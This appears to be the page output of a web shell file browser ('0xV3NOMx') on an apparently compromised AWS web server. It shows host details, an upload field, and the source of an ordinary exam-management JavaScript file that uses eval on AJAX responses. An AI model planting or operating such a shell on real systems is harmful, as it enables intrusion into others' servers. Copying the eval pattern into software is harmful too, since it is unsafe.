0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.117.231.160


Current Path : /var/www/oasis/js/
Upload File :
Current File : /var/www/oasis/js/subjectwise_invigilator_dairy_new.js

function Enablesubjectinvigilator_dairyNew() {
  $("#page_main_div").load(
    "../html_modules/subjectwise_invigilator_dairy_new.html",
    function () {
      document.getElementById("display_module_name").innerHTML =
        "Roomwise Register Nos List (Degreewise)";
      document.getElementById("module_name_for_save").value =
        "Subjectwise Invigilators Dairy";
      getDefaultHeadFooterLinks("Subjectwise Invigilators Dairy New");
      getRoomExamMomth();
      
    }
  );
}

function getRoomExamMomth() {
  $.ajax({
    type: "POST",
    url: $host_url + "getRoomExamMomth",
    data: "id=",
    success: getRoomExamMomthSuccess,
  });
}

function getRoomExamMomthSuccess($responce) {
  $responce = eval("(" + $responce + ")");
  var batch = $responce.data["batchdet"];
  console.log(batch);
  var batchoptins = `<option value = ''>-Select-</option>`;
  for ($i = 0; $i < batch.length; $i++) {
    batchoptins += `<option value = '${batch[$i]["fbatch"]}'>${batch[$i]["fdescpn"]}</option>`;
  }
  console.log(batchoptins);
  $("#fbatch").html(batchoptins);
}

function GeneratesubjectwiseInvigilatorsDairyNew() {
  var degree_code = $("#degree_code").val();
  var examno = $("#examno").val();
  var date = $("#frm_date").val();
  var session = $("#session").val();
  var degree_name = $("#degree_name").val();
  var exam_name = $("#exam_name").val();
  var fbatch = ""; //$("#fbatch").val();

  // if ($("#fbatch").val() == "") {
  //   alert("Select Batch.");
  //   $("#fbatch").focus();
  //   return false;
  // }

  //   var from_subcode = $("#from_subcode").val();
  //   var to_subcode = $("#to_subcode").val();
  //   var spr = $("#spr").val();

  // if (empty(degree_code)) {
  //   alert("Please Enter Degree Code");
  //   return false;
  // }

  // if (empty(examno)) {
  //   alert("Please Enter Examno");
  //   return false;
  // }

  //   if (from_subcode == "") {
  //     alert("Please Enter Subject Code from");
  //     return false;
  //   }

  //   if (to_subcode == "") {
  //     alert("Please Enter Subject Code to");
  //     return false;
  //   }

  //   if (empty(spr)) {
  //     alert("Please Enter Subject Code");
  //     return false;
  //   }

  //   window.location.href =
  //     $host_url +
  //     "GeneratesubjectwiseInvigilatorsDairy&degree_code=" +
  //     degree_code +
  //     "&examno=" +
  //     examno +
  //     "&from_subcode=" +
  //     from_subcode +
  //     "&to_subcode=" +
  //     to_subcode +
  //     "&spr=" +
  //     spr;

  window.open(
    $host_url +
      `GenerateRoomwiseRegisterNoListdegreewse&room_range_from=0&room_range_to=ZZZ&pageeject=F&roomchart=F&fromdate=${date}&fqpcode=0&tqpcode=ZZZ&qpeject=F&session=${session}&wtqp=F&noticeboard=T&noticedgw=F&fdegree=${degree_code}&fexamno=${examno}&degname=${degree_name}&examname=${exam_name}&fbatch=${fbatch}`
  );
}